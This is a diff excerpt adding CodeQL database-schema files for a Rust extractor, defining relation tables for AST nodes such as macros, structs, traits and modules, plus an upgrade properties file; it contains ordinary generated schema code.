+#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: @use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); diff --git a/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/upgrade.properties b/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/upgrade.properties new file mode 100644 index 000000000000..e9796d4cba8a --- /dev/null +++ b/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/upgrade.properties @@ -0,0 +1,2 @@ +description: Remove 'module' from Crate +compatibility: breaking diff --git a/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/old.dbscheme b/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/old.dbscheme new file mode 100644 index 000000000000..2df29df1bf8f --- /dev/null +++ b/rust/ql/lib/upgrades/2df29df1bf8f8ba77919fd0873007e8322654f67/old.dbscheme @@ -0,0 +1,3612 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id] +crate_modules( + int id: @crate ref, + int module: @module ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] +callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_block_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| @paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref +); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: @param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_is_unsafe( + int id: @struct_field ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int lifetime: @lifetime ref +); + +#keyset[id] +type_bound_type_reprs( + int id: @type_bound ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_bound_use_bound_generic_args( + int id: @type_bound ref, + int use_bound_generic_args: @use_bound_generic_args ref +); + +type_bound_lists( + unique int id: @type_bound_list +); + +#keyset[id, index] +type_bound_list_bounds( + int id: @type_bound_list ref, + int index: int ref, + int bound: @type_bound ref +); + +@type_repr = + @array_type_repr +| @dyn_trait_type_repr +| @fn_ptr_type_repr +| @for_type_repr +| @impl_trait_type_repr +| @infer_type_repr +| @macro_type_repr +| @never_type_repr +| @paren_type_repr +| @path_type_repr +| @ptr_type_repr +| @ref_type_repr +| @slice_type_repr +| @tuple_type_repr +; + +@use_bound_generic_arg = + @lifetime +| @name_ref +; + +use_bound_generic_args( + unique int id: @use_bound_generic_args +); + +#keyset[id, index] +use_bound_generic_args_use_bound_generic_args( + int id: @use_bound_generic_args ref, + int index: int ref, + int use_bound_generic_arg: @use_bound_generic_arg ref +); + +use_trees( + unique int id: @use_tree +); + +#keyset[id] +use_tree_is_glob( + int id: @use_tree ref +); + +#keyset[id] +use_tree_paths( + int id: @use_tree ref, + int path: @path ref +); + +#keyset[id] +use_tree_renames( + int id: @use_tree ref, + int rename: @rename ref +); + +#keyset[id] +use_tree_use_tree_lists( + int id: @use_tree ref, + int use_tree_list: @use_tree_list ref +); + +use_tree_lists( + unique int id: @use_tree_list +); + +#keyset[id, index] +use_tree_list_use_trees( + int id: @use_tree_list ref, + int index: int ref, + int use_tree: @use_tree ref +); + +@variant_def = + @struct +| @union +| @variant +; + +variant_lists( + unique int id: @variant_list +); + +#keyset[id, index] +variant_list_variants( + int id: @variant_list ref, + int index: int ref, + int variant: @variant ref +); + +visibilities( + unique int id: @visibility +); + +#keyset[id] +visibility_paths( + int id: @visibility ref, + int path: @path ref +); + +where_clauses( + unique int id: @where_clause +); + +#keyset[id, index] +where_clause_predicates( + int id: @where_clause ref, + int index: int ref, + int predicate: @where_pred ref +); + +where_preds( + unique int id: @where_pred +); + +#keyset[id] +where_pred_generic_param_lists( + int id: @where_pred ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +where_pred_lifetimes( + int id: @where_pred ref, + int lifetime: @lifetime ref +); + +#keyset[id] +where_pred_type_reprs( + int id: @where_pred ref, + int type_repr: @type_repr ref +); + +#keyset[id] +where_pred_type_bound_lists( + int id: @where_pred ref, + int type_bound_list: @type_bound_list ref +); + +array_expr_internals( + unique int id: @array_expr_internal +); + +#keyset[id, index] +array_expr_internal_attrs( + int id: @array_expr_internal ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +array_expr_internal_exprs( + int id: @array_expr_internal ref, + int index: int ref, + int expr: @expr ref +); + +#keyset[id] +array_expr_internal_is_semicolon( + int id: @array_expr_internal ref +); + +array_type_reprs( + unique int id: @array_type_repr +); + +#keyset[id] +array_type_repr_const_args( + int id: @array_type_repr ref, + int const_arg: @const_arg ref +); + +#keyset[id] +array_type_repr_element_type_reprs( + int id: @array_type_repr ref, + int element_type_repr: @type_repr ref +); + +asm_clobber_abis( + unique int id: @asm_clobber_abi +); + +asm_consts( + unique int id: @asm_const +); + +#keyset[id] +asm_const_exprs( + int id: @asm_const ref, + int expr: @expr ref +); + +#keyset[id] +asm_const_is_const( + int id: @asm_const ref +); + +asm_exprs( + unique int id: @asm_expr +); + +#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: @assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] 